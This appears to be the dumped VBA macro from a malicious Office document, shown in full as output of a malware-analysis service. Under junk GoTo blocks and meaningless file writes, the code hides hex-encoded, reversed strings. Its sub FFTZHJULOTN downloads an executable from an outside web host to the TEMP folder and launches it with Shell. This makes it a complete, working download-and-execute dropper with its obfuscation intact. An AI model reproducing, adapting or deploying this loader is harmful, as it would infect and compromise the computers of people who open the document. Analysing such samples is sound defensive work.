Dim etunxekmzphnzqykmgswchqwyasdltyjlqigjczwatjxoe As String
Open "zdwrlfwwgvktueqqfmyqwqmilxtpjbbxoncadwelmzsdsk" For Binary As #55400
Put #55400, , etunxekmzphnzqykmgswchqwyasdltyjlqigjczwatjxoe
Close #55400
rjfokbkdiyuovfdiinodauqqrmliruigxqphcacohixpvp:
GoTo bdjswpmfypsmsflpwxrjkbchqanaadv
Dim hyskswwytrgyicgvldevaqnzykxvywj As String
Open StrReverse(tmwrsdgakhpjqmoxphtzetgasyogkgd("66736676696D6D696271626B65626573636965737170697A6377786F7A6570")) For Binary As #36723
Put #36723, , hyskswwytrgyicgvldevaqnzykxvywj
Close #36723
bdjswpmfypsmsflpwxrjkbchqanaadv:
GoTo qonpmakiuwbchhbnplvqcfnpexgxbwlufstiliyyevlnyd
Dim lrimzyezjfmpmjuseydxzqvsyewpjrvqgelwfrirwpsmov As String
Open "oilalhlgehydqbkivqwmmunxenaibozmzminmskzyeahpx" For Binary As #43936
Put #43936, , lrimzyezjfmpmjuseydxzqvsyewpjrvqgelwfrirwpsmov
Close #43936
qonpmakiuwbchhbnplvqcfnpexgxbwlufstiliyyevlnyd:
GoTo cfixpdjvmfbxovlxhaaikdmrrwxgtwu
Dim xohbbfrqfvlvvqbgimychgovlrnreqc As String
Open StrReverse(tmwrsdgakhpjqmoxphtzetgasyogkgd("6862636466777165736B766970706967786464726B7579696C686179647968")) For Binary As #14033
Put #14033, , xohbbfrqfvlvvqbgimychgovlrnreqc
Close #14033
cfixpdjvmfbxovlxhaaikdmrrwxgtwu:
GoTo xpnbbuptylzhrcbxyjipzsrvphgrsnmlzqhhzcvucnppxw
Dim uacihkuekrazfnzsokqcfmjqdpygyicrudfvxrltwqxhrv As String
Open "vpnveaffluvccqbblsitkmpspamguncjccqskawyfckfkg" For Binary As #99161
Put #99161, , uacihkuekrazfnzsokqcfmjqdpygyicrudfvxrltwqxhrv
Close #99161
xpnbbuptylzhrcbxyjipzsrvphgrsnmlzqhhzcvucnppxw:
    EMJXURKLOXG = TNGEBAHUNYK.responseBody

GoTo dptwgkiprblhwarwlskyjufcwwgiefpguuthjqwqigjdbh
Dim aoywivjdzuhuartkyjlzoobiwulnbfbhtfqqpgvwlkoowe As String
Open "etunxekmzphnzqykmgswchqwyasdltyjlqigjczwatjxoe" For Binary As #35846
Put #35846, , aoywivjdzuhuartkyjlzoobiwulnbfbhtfqqpgvwlkoowe
Close #35846
dptwgkiprblhwarwlskyjufcwwgiefpguuthjqwqigjdbh:
GoTo xtbghdsdtbtlsmuwfaxsikvqenmdlrj
Dim ddsdtcbxsirwrazlykyebixqtzxlmoh As String
Open StrReverse(tmwrsdgakhpjqmoxphtzetgasyogkgd("70766B6E7967696C79786C79747A6B746965666C6F6B6C69746476706E716B")) For Binary As #39239
Put #39239, , ddsdtcbxsirwrazlykyebixqtzxlmoh
Close #39239
xtbghdsdtbtlsmuwfaxsikvqenmdlrj:
GoTo himzngrwscouednpgpbzzkeqwgtwcwopmfhbhjeicdgfyy
Dim mdghmbzuwnpimudxxoqupsskohvrrmdfpafbnvkogznhir As String
Open "lrimzyezjfmpmjuseydxzqvsyewpjrvqgelwfrirwpsmov" For Binary As #17445
Put #17445, , mdghmbzuwnpimudxxoqupsskohvrrmdfpafbnvkogznhir
Close #17445
himzngrwscouednpgpbzzkeqwgtwcwopmfhbhjeicdgfyy:
GoTo hwztlwmkbtwsxevdcfodetfkpzcrrti
Dim cndydxavjjsuiphzxzcvtheefokjzdz As String
Open StrReverse(tmwrsdgakhpjqmoxphtzetgasyogkgd("6C637A7765746677777A716A6C6F6964636165717765776C6D757A6A706D74")) For Binary As #13394
Put #13394, , cndydxavjjsuiphzxzcvtheefokjzdz
Close #13394
hwztlwmkbtwsxevdcfodetfkpzcrrti:
GoTo shdtqlvhiizkutscxavzfocghtlnqdnwgaaowcyicywniw
Dim gaellpfkowhvuowkzwcweumdszviaqugbpcpuvsqmvttce As String
Open "uacihkuekrazfnzsokqcfmjqdpygyicrudfvxrltwqxhrv" For Binary As #14433
Put #14433, , gaellpfkowhvuowkzwcweumdszviaqugbpcpuvsqmvttce
Close #14433
shdtqlvhiizkutscxavzfocghtlnqdnwgaaowcyicywniw:
GoTo igajrjfbyfyarxpwnvkwbwxbxcewhht
Dim uouqpkqwpvndojkcwcvuxrrjibupfgx As String
Open StrReverse(tmwrsdgakhpjqmoxphtzetgasyogkgd("766D6B6A65796E72737676756763716C707564706575796376736E63617071")) For Binary As #66322
Put #66322, , uouqpkqwpvndojkcwcvuxrrjibupfgx
Close #66322
igajrjfbyfyarxpwnvkwbwxbxcewhht:
GoTo rweeabpqhtqgptwefbevuegcqtjautheotzyrmhcnbekjf
Dim xrcsjdrbypmefuxartrciuzungzimvogpmipagiawwabvn As String
Open "daiyzxukmvaaaiudilmxhzqcpnhjvjsosycybxlnqicjkx" For Binary As #74393
Put #74393, , xrcsjdrbypmefuxartrciuzungzimvogpmipagiawwabvn
Close #74393
rweeabpqhtqgptwefbevuegcqtjautheotzyrmhcnbekjf:
    MUJGZDDPTYL = FreeFile
GoTo qpnsztdfegapplndyhgsadmiybucxdzywvvsweljivgtko
Dim tkkjnbmhtfikfxkpdudmyiafkdbmzhlukejwznendltete As String
Open "tsahqvvneznxssmawdxbddomvslckjpmaprgghqxmfnroc" For Binary As #44331
Put #44331, , tkkjnbmhtfikfxkpdudmyiafkdbmzhlukejwznendltete
Close #44331
qpnsztdfegapplndyhgsadmiybucxdzywvvsweljivgtko:
GoTo ykgxxlkbqakggdbfskmgujplmtwxwha
Dim gvycypltpznzmqjcmbfnonarervyoxf As String
Open StrReverse(tmwrsdgakhpjqmoxphtzetgasyogkgd("657877696F616964687062727866636F77686174786E6A66766A6C71706D67")) For Binary As #63344
Put #63344, , gvycypltpznzmqjcmbfnonarervyoxf
Close #63344
ykgxxlkbqakggdbfskmgujplmtwxwha:
GoTo hclvwooftuymxukitymgtdkzecbccmomdduonsyezqpliy
Dim jevjafajbaapimvdnvstcxxmxjtuiaztgtmcurnpiylbqo As String
Open "zjpyxiufiihnnnpkrvixggcalrbfhrnacbjxchufbmukgl" For Binary As #59935
Put #59935, , jevjafajbaapimvdnvstcxxmxjtuiaztgtmcurnpiylbqo
Close #59935
hclvwooftuymxukitymgtdkzecbccmomdduonsyezqpliy:
GoTo bcnacpvvrqlrnwaaolgfvqrsnmlvydj
Dim gesngwpyadkyqrgnduntfowsaxfdhlh As String
Open StrReverse(tmwrsdgakhpjqmoxphtzetgasyogkgd("78657961716566777162616E676376736274677771636F6F626D6E68786B66")) For Binary As #54345
Put #54345, , gesngwpyadkyqrgnduntfowsaxfdhlh
Close #54345
bcnacpvvrqlrnwaaolgfvqrsnmlvydj:
GoTo hsubapxwunjtvluljsjkniibcvrmknkuwcqvtxiuvykjtg
Dim ecbqfnhpovsqqjbfyyohepztfhskogyvvvzcbwyhkpokju As String
Open "ctcwmykqwtdlizcglwxtcyxtdkgocydfmzmgdaqpuwvrut" For Binary As #82371
Put #82371, , ecbqfnhpovsqqjbfyyohepztfhskogyvvvzcbwyhkpokju
Close #82371
hsubapxwunjtvluljsjkniibcvrmknkuwcqvtxiuvykjtg:
GoTo ecmfqrmexjrqztoqqgozkrcqrvbpgsp
Dim zjxlmgwvzainqgttkeoqmbnbodzypwd As String
Open StrReverse(tmwrsdgakhpjqmoxphtzetgasyogkgd("65797A77766875646B7175666176777A6A67756576686F6573746177797162")) For Binary As #75360
Put #75360, , zjxlmgwvzainqgttkeoqmbnbodzypwd
Close #75360
ecmfqrmexjrqztoqqgozkrcqrvbpgsp:
    If Dir(SLYKKOLAEQT) <> StrReverse(tmwrsdgakhpjqmoxphtzetgasyogkgd("")) Then Kill SLYKKOLAEQT
    Open SLYKKOLAEQT For Binary As #MUJGZDDPTYL
    Put #MUJGZDDPTYL, , EMJXURKLOXG
    Close #MUJGZDDPTYL
GoTo wxnwitxdbunzmpbaxzowbxtlfwjufgznxwunljajmxdvzc
Dim qpdkoanzrmnrrvdahnkjqguthbxfgmaaigackygcltdohc As String
Open "jlvnfflkwidoqivgzltgndjjjzbcknzgxmjmookpkieyvy" For Binary As #11673
Put #11673, , qpdkoanzrmnrrvdahnkjqguthbxfgmaaigackygcltdohc
Close #11673
wxnwitxdbunzmpbaxzowbxtlfwjufgznxwunljajmxdvzc:
GoTo onphbjaorzctqawphqalevezqzvjzjb
Dim lgezjuhpoynstygcgsiuwcfmdiejcac As String
Open StrReverse(tmwrsdgakhpjqmoxphtzetgasyogkgd("74717077676D646A74776D6B6E7A786C78726364726F757A62696471737478")) For Binary As #44436
Put #44436, , lgezjuhpoynstygcgsiuwcfmdiejcac
Close #44436
onphbjaorzctqawphqalevezqzvjzjb:
GoTo mjldtbfpxnoktukzrclcfxjxacdudocnuoqnxyunwlyjxq
Dim nbsztebvrvnfznsaxayyjifzsrsmpiqacnzmpbjxoltunc As String
Open "nxseiehvmradrusdytahqnuatmehqyqiewafcdyxlwuhrp" For Binary As #61895
Put #61895, , nbsztebvrvnfznsaxayyjifzsrsmpiqacnzmpbjxoltunc
Close #61895
mjldtbfpxnoktukzrclcfxjxacdudocnuoqnxyunwlyjxq:
GoTo cvfjhxlbxcgulqhcyjltitbzugorwap
Dim rjgtjfnhtusiljkpmbpygqqeguhvuph As String
Open StrReverse(tmwrsdgakhpjqmoxphtzetgasyogkgd("666D786461726562716F616E6E776866766B6761656B6778667762717A6C70")) For Binary As #41013
Put #41013, , rjgtjfnhtusiljkpmbpygqqeguhvuph
Close #41013
cvfjhxlbxcgulqhcyjltitbzugorwap:
GoTo fiyeaxzhvkydictumedvtviamambmzfxrvgxwwrarjhlfo
Dim qswofszaszyavnqifndopwrwgrmsmsoalerbxsbmxoynyy As String
Open "csypuyxgqlyxmkyugbepuiqbyjlmoeexvnxhozbtxqrvxo" For Binary As #51696
Put #51696, , qswofszaszyavnqifndopwrwgrmsmsoalerbxsbmxoynyy
Close #51696
fiyeaxzhvkydictumedvtviamambmzfxrvgxwwrarjhlfo:
GoTo hlnplodayatozvowynyzzvlfiqpjzcv
Dim cblzdsfubzhjufadryptvyilslhasem As String
Open StrReverse(tmwrsdgakhpjqmoxphtzetgasyogkgd("63626B6A7072787577636C7A61676C626476676D616D697665686975776368")) For Binary As #74945
Put #74945, , cblzdsfubzhjufadryptvyilslhasem
Close #74945
hlnplodayatozvowynyzzvlfiqpjzcv:
GoTo fztzbzegloedbgttgmuhwygzttuolcffvwvolhgacgdoix
Dim hrhocgzyauvhgagnjkkntnszfkvhwcqeofklliivavfgjm As String
Open "knkfcdxzzkuietjotbrlnpdimfqkpstjudrweacewggsir" For Binary As #22768
Put #22768, , hrhocgzyauvhgagnjkkntnszfkvhwcqeofklliivavfgjm
Close #22768
fztzbzegloedbgttgmuhwygzttuolcffvwvolhgacgdoix:
    
    Dim HCVMSQIHDCP
GoTo ywjyqlsczconxpjzdbufmjcacwqeikgbxedfjbobzfmgtq
Dim whtgempjlhtwkqruzmpsrdbfwxucjsxxsztqfdatffnxro As String
Open "nbsztebvrvnfznsaxayyjifzsrsmpiqacnzmpbjxoltunc" For Binary As #55473
Put #55473, , whtgempjlhtwkqruzmpsrdbfwxucjsxxsztqfdatffnxro
Close #55473
ywjyqlsczconxpjzdbufmjcacwqeikgbxedfjbobzfmgtq:
GoTo vzamwsplkxwzzzpkmunxkocvhxjintq
Dim xwbvldqfstulxuirbtkpzilobeqlmwh As String
Open StrReverse(tmwrsdgakhpjqmoxphtzetgasyogkgd("706E69706770676164726862736A74656978776C7970787568647A6162656B")) For Binary As #22839
Put #22839, , xwbvldqfstulxuirbtkpzilobeqlmwh
Close #22839
vzamwsplkxwzzzpkmunxkocvhxjintq:
GoTo tcvqoquqeggmpcvjlqimaimofabmhgwxmlbprufhuujozw
Dim mtxqaedibdluwvzwvazfbwjvdbcsbyzafokbjqrihhskud As String
Open "qswofszaszyavnqifndopwrwgrmsmsoalerbxsbmxoynyy" For Binary As #89336
Put #89336, , mtxqaedibdluwvzwvazfbwjvdbcsbyzafokbjqrihhskud
Close #89336
tcvqoquqeggmpcvjlqimaimofabmhgwxmlbprufhuujozw:
GoTo rdvxyftnnijfrvmnrnncutymlsjrrxi
Dim eurbzgzedqogpqylnbtatuklfgwxwzv As String
Open StrReverse(tmwrsdgakhpjqmoxphtzetgasyogkgd("62697461787965676F62736F7966626E666161766B6174756F69756F736172")) For Binary As #11363
Put #11363, , eurbzgzedqogpqylnbtatuklfgwxwzv
Close #11363
rdvxyftnnijfrvmnrnncutymlsjrrxi:
GoTo mflxibezktzkjjlcklxrjdpdrlrcpucyhfodvxbbswoblh
Dim drjpxlbltainebjppolleduqfogclcoyrhmygktbwdnqje As String
Open "hrhocgzyauvhgagnjkkntnszfkvhwcqeofklliivavfgjm" For Binary As #80303
Put #80303, , drjpxlbltainebjppolleduqfogclcoyrhmygktbwdnqje
Close #80303
mflxibezktzkjjlcklxrjdpdrlrcpucyhfodvxbbswoblh:
GoTo egjtcrxoqsfbfummkfrhuopjewdimfq
Dim spituvxkpxxrnvlojzimpqaebquwjpe As String
Open StrReverse(tmwrsdgakhpjqmoxphtzetgasyogkgd("61656A797A6876716D6279716470646D6E67786A666D637A7A706A6A687A70")) For Binary As #66662
Put #66662, , spituvxkpxxrnvlojzimpqaebquwjpe
Close #66662
egjtcrxoqsfbfummkfrhuopjewdimfq:
GoTo uupttkzqgvtcxfoumwebedryqxlxodbuaqedlfrurngkqz
Dim geyxxhxvoxcpritbkhamlexcbxyaxunazhvnfsomdkasog As String
Open "bnwglrifuecilnqvsrxmbxwtqtquremnlysrrsnbsikcvf" For Binary As #96449
Put #96449, , geyxxhxvoxcpritbkhamlexcbxyaxunazhvnfsomdkasog
Close #96449
uupttkzqgvtcxfoumwebedryqxlxodbuaqedlfrurngkqz:
    HCVMSQIHDCP = Shell(SLYKKOLAEQT, 1)

GoTo lykvxyeeumshpikdwiqznbfmxbovvzkxdqzcldiqllgdhp
Dim xcebwidburiqkreplllanjwecwdesqkpzdsvwnfmdnhoqe As String
Open "hnnougyqtawijgbrvjexwqdespwpvipzgxqrmutovbvgmm" For Binary As #15675
Put #15675, , xcebwidburiqkreplllanjwecwdesqkpzdsvwnfmdnhoqe
Close #15675
lykvxyeeumshpikdwiqznbfmxbovvzkxdqzcldiqllgdhp:
GoTo lmrdruczpzdamcgmpaubiraymugpdvx
Dim mhhicbaxvthyfqnsophguepxprzpgoo As String
Open StrReverse(tmwrsdgakhpjqmoxphtzetgasyogkgd("6E72756168656A787074777467786B79726461796F706D72727577697A7163")) For Binary As #11582
Put #11582, , mhhicbaxvthyfqnsophguepxprzpgoo
Close #11582
lmrdruczpzdamcgmpaubiraymugpdvx:
GoTo qrmemtpfrwgpgunjfgfljpvhrvqkdnpvuzelybnhnawclw
Dim kkacodbyzkhsjlakbldcnwyiqskavxvhphcpggmjnjazvl As String
Open "lveaqsqadnzmlhwxpbsmnawmdeztkbiltlsgntyndxzjuk" For Binary As #66379
Put #66379, , kkacodbyzkhsjlakbldcnwyiqskavxvhphcpggmjnjazvl
Close #66379
qrmemtpfrwgpgunjfgfljpvhrvqkdnpvuzelybnhnawclw:
GoTo zvlruvxbslmpzkwiefrneokejwadjbh
Dim zskdqvgvafczkawrvgtihsqvqwjindh As String
Open StrReverse(tmwrsdgakhpjqmoxphtzetgasyogkgd("727461676979706571656D626F6E75686361676F74786F627763767470776B")) For Binary As #87198
Put #87198, , zskdqvgvafczkawrvgtihsqvqwjindh
Close #87198
zvlruvxbslmpzkwiefrneokejwadjbh:
GoTo gxonqppefztrsjiuurpjkyaxhquojpjyhggkzryyczuhsz
Dim wqcbgaftnhlndzxwjnrxanpijlyhqnwsnbypxswivwuqbd As String
Open "geyxxhxvoxcpritbkhamlexcbxyaxunazhvnfsomdkasog" For Binary As #99433
Put #99433, , wqcbgaftnhlndzxwjnrxanpijlyhqnwsnbypxswivwuqbd
Close #99433
gxonqppefztrsjiuurpjkyaxhquojpjyhggkzryyczuhsz:
GoTo bwpibabdzaxgqoeosuflnrnmjjapfrz
Dim tndiownpdzrzgnxlmhkdsgjfogtresv As String
Open StrReverse(tmwrsdgakhpjqmoxphtzetgasyogkgd("677367796C70627A776E6A6F6E6563676E786A746C6E696C726272676A7372")) For Binary As #19637
Put #19637, , tndiownpdzrzgnxlmhkdsgjfogtresv
Close #19637
bwpibabdzaxgqoeosuflnrnmjjapfrz:
GoTo fgkzozjmcdmtmqjsxnzdlnhernfgxureqsmcmfavohcplx
Dim nodfzetbtsddhhsgqmtvrjslnexeaeqkavljblvxmepvmy As String
Open "uivpexiajoeuyivtifudxhfeaxrdsahsjoucghlfhuswlb" For Binary As #45426
Put #45426, , nodfzetbtsddhhsgqmtvrjslnexeaeqkavljblvxmepvmy
Close #45426
fgkzozjmcdmtmqjsxnzdlnhernfgxureqsmcmfavohcplx:
    Set TNGEBAHUNYK = Nothing
GoTo chvelugemllkcivwovhrgrgwexklxlsdzfcylpkoyigegd
Dim vrfteapkxmfeknfhffrqgmzzvipgxkrofkpirunxmplxtr As String
Open "onxiuhfyefljzkxwsrdnmgmzofhfijsayxbltpnfyklcjd" For Binary As #35146
Put #35146, , vrfteapkxmfeknfhffrqgmzzvipgxkrofkpirunxmplxtr
Close #35146
chvelugemllkcivwovhrgrgwexklxlsdzfcylpkoyigegd:
GoTo nicefmyltvousetybgkauvvemskjzyb
Dim ncxdbnnkrotiigtwlhlpqhmcddyxepn As String
Open StrReverse(tmwrsdgakhpjqmoxphtzetgasyogkgd("6766746C6E6865656E696661726E73646E6774796A6C646C67627172686772")) For Binary As #42467
Put #42467, , ncxdbnnkrotiigtwlhlpqhmcddyxepn
Close #42467
nicefmyltvousetybgkauvvemskjzyb:
GoTo trzhdvozngrhfhzyadnzarpocrvlxasktquqcghucfotqc
Dim tibzbqhqrqlmgdvwvlukjjbkamowtaqdgjeniazgbprmxd As String
Open "xrlzcfgldrmypvlaasiznffetcsxihmgkfptxthqqritmv" For Binary As #41122
Put #41122, , tibzbqhqrqlmgdvwvlukjjbkamowtaqdgjeniazgbprmxd
Close #41122
trzhdvozngrhfhzyadnzarpocrvlxasktquqcghucfotqc:
GoTo lajnekzasjmqawqiajpjlfcodmkncyy
Dim jogxqqqxxngnsjkcnfshxsltxuwicwq As String
Open StrReverse(tmwrsdgakhpjqmoxphtzetgasyogkgd("777761676E72797970657273726B797A676B6A6E73677A626D6D746B647466")) For Binary As #74414
Put #74414, , jogxqqqxxngnsjkcnfshxsltxuwicwq
Close #74414
lajnekzasjmqawqiajpjlfcodmkncyy:
GoTo eunzqnxzpdhlxtbkdtirolodagczmaygdxkdsvghucvukl
Dim pptuahalqxipiyrolacvtiiyjsimgkewjdgdnmvmedzbqt As String
Open "zzixefkugvodxiuzztnvworinbindgucuvrpqjkteohece" For Binary As #31941
Put #31941, , pptuahalqxipiyrolacvtiiyjsimgkewjdgdnmvmedzbqt
Close #31941
eunzqnxzpdhlxtbkdtirolodagczmaygdxkdsvghucvukl:
GoTo tbzhvwhwmgujinrrpzspqmmqqfgvojj
Dim rwqlseebfbalcwsvfpibjsophjqguhr As String
Open StrReverse(tmwrsdgakhpjqmoxphtzetgasyogkgd("6C6B726963797A75656F6F7366736662616C726E73757174797665696C7479")) For Binary As #46463
Put #46463, , rwqlseebfbalcwsvfpibjsophjqguhr
Close #46463
tbzhvwhwmgujinrrpzspqmmqqfgvojj:
GoTo yoxupblygiijtrvzatwlbdfnxtnthgtiicjiwkyowgyjtb
Dim qclukuxjlcfkqjwhiulozgdnlrwcimztuqdmcmoejknfcn As String
Open "lebaqippnmeqvdmykswhtnlaodhbbmafyllkvhrzxialak" For Binary As #17393
Put #17393, , qclukuxjlcfkqjwhiulozgdnlrwcimztuqdmcmoejknfcn
Close #17393
yoxupblygiijtrvzatwlbdfnxtnthgtiicjiwkyowgyjtb:
     
End Function
Sub FFTZHJULOTN()
    RMVFJNRAUCC StrReverse(tmwrsdgakhpjqmoxphtzetgasyogkgd("6578652E6E69622F736A2F6C6D74682F6F722E6D7261666172696D2F2F3A70747468")), Environ("TEMP") & "\TBMUVAERYFM.exe"
End Sub



Public Function tmwrsdgakhpjqmoxphtzetgasyogkgd(ByVal jhgfdsgfhgdfhdfhg As String) As String
  Dim nbvshgkghkgjd       As Long
  For nbvshgkghkgjd = 1 To Len(jhgfdsgfhgdfhdfhg) Step 2
  tmwrsdgakhpjqmoxphtzetgasyogkgd = tmwrsdgakhpjqmoxphtzetgasyogkgd & Chr$(Val("&H" & Mid$(jhgfdsgfhgdfhdfhg, nbvshgkghkgjd, 2)))
  Next nbvshgkghkgjd
 End Function

Open this report in the interactive analyzer, or submit your own file for analysis.